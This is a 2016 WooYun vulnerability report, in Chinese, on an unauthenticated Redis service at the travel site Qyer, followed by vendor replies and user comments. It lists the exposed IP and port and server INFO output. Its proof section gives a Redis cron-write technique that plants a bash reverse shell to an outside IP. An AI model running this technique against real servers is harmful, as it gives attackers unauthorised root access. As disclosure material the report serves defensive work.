当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0204552

漏洞标题：穷游网某服务未授权访问(可远程SHELL)

相关厂商：穷游网

漏洞作者： 猪猪侠

提交时间：2016-05-03 12:54

修复时间：2016-06-17 14:10

公开时间：2016-06-17 14:10

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-03： 细节已通知厂商并且等待厂商处理中
2016-05-03： 厂商已经确认，细节仅向厂商公开
2016-05-13： 细节向核心白帽子及相关领域专家公开
2016-05-23： 细节向普通白帽子公开
2016-06-02： 细节向实习白帽子公开
2016-06-17： 细节向公众公开

简要描述：

穷游网某服务未授权访问(可远程SHELL)

详细说明：

#1 漏洞参考
WooYun: 新浪微博某服务器控制不当(可远程SHELL)
#2 redis服务对外开放
redis://115.182.69.199:3000
#3 可以管理 slave

# Keyspace
db0:keys=65454963,expires=130654,avg_ttl=30413755756


# Replication
role:master
connected_slaves:1
slave0:ip=10.1.1.15,port=6379,state=online,offset=271341594993,lag=1
master_repl_offset:271341599570


config get dir
 94) "/u01/redis/data"

漏洞证明：

650万条key，不敢执行flush命令测试损坏数据，仅仅证明
#漏洞利用，创建一个任务计划，执行命令

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -h 115.182.69.199 -p 3000 -x set 0
config set dir /var/spool/cron/ 
config set dbfilename root

修复方案：

# 设置访问控制

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2016-05-03 14:06

厂商回复：

正在处理，谢谢关注穷游！

最新状态：

暂无

漏洞评价：

评价

  1. 2016-05-03 12:59 | Hero ( 普通白帽子 | Rank:162 漏洞数:53 | 药药切克闹,充气娃娃迷幻药)

    1

  2. 2016-05-03 13:10 | Faith4444 ( 路人 | Rank:26 漏洞数:10 | 说出来可能你不信，我就是个垃圾)

    2

  3. 2016-05-03 13:14 | 随风的风 ( 普通白帽子 | Rank:257 漏洞数:95 | 微信公众号：233sec 不定期分享各种漏洞思...)

    3

  4. 2016-05-03 13:15 | STCX ( 路人 | Rank:21 漏洞数:8 | 向大黑阔们致敬)

    4

  5. 2016-05-03 13:17 | Bear baby ( 普通白帽子 | Rank:238 漏洞数:28 | 总感觉我会在哪天突然顿悟。)

    5

  6. 2016-05-03 13:23 | 看~灰机！ ( 路人 | Rank:11 漏洞数:1 | 看~~~~~~~~~~~~~~~~~~~~~~~~~~看。。)

    6

  7. 2016-05-03 13:33 | 木易 ( 普通白帽子 | Rank:335 漏洞数:68 | 不，，不要误会，我不是针对谁，我是说在座...)

    排队的节奏

  8. 2016-05-03 13:34 | Augustus ( 路人 | Rank:2 漏洞数:1 | 不想学厨师的掌机玩家不是好程序员)

    8

  9. 2016-05-03 13:42 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    999

  10. 2016-05-03 13:52 | dige ( 路人 | Rank:5 漏洞数:3 | 路虽远，行则必达，事虽难做则必成)

    10

  11. 2016-05-03 13:58 | zusheng ( 路人 | Rank:6 漏洞数:2 | 网络安全工程师)

    猪猪侠兼职不要太6啊

  12. 2016-05-03 13:58 | JiuShao ( 普通白帽子 | Rank:495 漏洞数:108 | ╮(╯▽╰)╭锄禾日当午)

    看最近猪猪侠发漏洞，就可以知道，股市的好坏

  13. 2016-05-03 16:28 | 兔八哥 ( 实习白帽子 | Rank:41 漏洞数:6 | 我心飞 翔)

    下辈子做猪猪侠男朋友吧

  14. 2016-05-04 20:15 | ds-hale ( 路人 | Rank:4 漏洞数:2 | free loop)

    @兔八哥 问到了某些味道